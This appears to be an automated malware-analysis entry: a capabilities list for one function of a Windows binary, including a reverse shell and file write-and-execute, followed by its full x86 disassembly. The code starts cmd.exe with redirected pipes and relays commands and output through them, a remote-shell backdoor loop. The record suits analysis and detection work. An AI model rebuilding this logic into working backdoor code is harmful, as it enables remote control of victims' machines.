Function at 0x401c6c
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Query environment variable
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test byte [0x4116b4], 1
push ebx
push esi
push edi
mov ebx, 0x411658
jne 0x401ca1
or byte [0x4116b4], 1
xor esi, esi
push esi
mov ecx, ebx
call fcn.00401078
push 0x40206b
call fcn.0040c3b8
pop ecx
jmp 0x401ca3
xor esi, esi
test byte [0x4116b4], 2
jne 0x401cd1
or byte [0x4116b4], 2
lea eax, [ebp - 1]
mov edi, 0x4116a0
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
push 0x402060
call fcn.0040c3b8
pop ecx
jmp 0x401cd6
mov edi, 0x4116a0
lea eax, [ebp - 1]
lea ecx, [ebp - 0x28]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::allocator_char__const__]
or dword [ebp - 0x10], 0xffffffff
cmp byte [0x4116e0], 0
mov dword [ebp - 0xc], esi
jne 0x401e68
push str.cmd.exe
push 0x4116b8
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
pop ecx
test al, al
pop ecx
je 0x401e5b
push 0x40d5d0
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
mov ecx, edi
call dword [0x40d278]
push 0x40d5cc
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push esi
push 0x411648
push 0x4116c8
push 0x4115f8
mov dword [0x411648], 0xc
mov dword [0x411650], 1
mov dword [0x41164c], esi
call edi
test eax, eax
je 0x401f0e
push esi
push 0x411648
push 0x4116cc
push 0x4116b0
call edi
test eax, eax
je 0x401f0e
push 0x11
mov edx, 0x411600
pop ecx
xor eax, eax
mov edi, edx
push 0x4116d0
rep stosd dword es:[edi], eax
mov eax, dword [0x4115f8]
push edx
mov dword [0x411638], eax
mov eax, dword [0x4116cc]
mov ecx, 0x4116a0
mov dword [0x411600], 0x44
mov dword [0x41162c], 0x101
mov word [0x411630], si
mov dword [0x41163c], eax
mov dword [0x411640], eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
push esi
push 1
mov edi, 0x4116b8
push esi
push esi
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
setne al
push 0x40d4a0
mov ecx, edi
mov byte [0x4116e0], al
call dword [0x40d278]
mov ecx, ebx
mov byte [0x4116e1], 1
call fcn.004010a0
sub esp, 0x10
mov esi, 0x411178
mov edi, esp
mov ecx, ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00401103
sub esp, 0x10
lea eax, [ebp + 8]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
push 0x93
mov ecx, ebx
call fcn.0040112a
push 0x12c
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp byte [0x4116e0], 0
je 0x402021
lea eax, [ebp - 0x14]
push esi
push eax
push esi
push esi
push esi
push dword [0x4116b0]
mov dword [ebp - 0x14], esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 0x14], esi
jbe 0x401f59
push dword [ebp - 0x14]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push esi
push eax
push dword [ebp - 0x14]
push edi
push dword [0x4116b0]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0x18], esi
jbe 0x401f4f
cmp dword [ebp - 0xc], esi
jbe 0x401f15
push dword [ebp - 0xc]
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push edi
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
jne 0x401f15
lea eax, [ebp - 1]
lea ecx, [ebp - 0x38]
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x38]
push dword [ebp - 0xc]
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.0040112a
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x38]
jmp 0x401f49
xor bl, bl
jmp 0x402047
lea eax, [ebp - 3]
lea ecx, [ebp - 0x48]
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 4]
mov ecx, esp
push eax
lea eax, [ebp - 0x48]
push dword [ebp - 0x18]
push esi
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.0040112a
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
push edi
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x401f79
sub esp, 0x10
lea eax, [ebp - 5]
mov ecx, esp
push eax
push 0x40d4a0
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push 0x62
mov ecx, ebx
call fcn.0040112a
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x401f86
and byte [0x4116e1], 0
mov edi, 0x4116b8
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
test eax, eax
jbe 0x401fe4
push 0x40d5c8
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
push 0x4116b8
lea ecx, [ebp - 0x28]
call dword [0x40d2d4]
lea eax, [ebp - 0xc]
push esi
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_int___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::length_void_const]
push eax
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push dword [0x4116c8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x40d4a0
mov ecx, edi
call dword [0x40d278]
jmp 0x401fe7
mov dword [ebp - 0xc], esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x4116e1], 0
jne 0x401e68
push esi
push dword [0x4116d0]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x4116d4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [0x4116d0]
call esi
jmp 0x402027
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, ebx
call fcn.0040115c
push dword [0x4116b0]
call esi
push dword [0x4116cc]
call esi
and byte [0x4116e0], 0
mov bl, 1
lea ecx, [ebp - 0x28]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
pop edi
mov al, bl
pop esi
pop ebx
leave
ret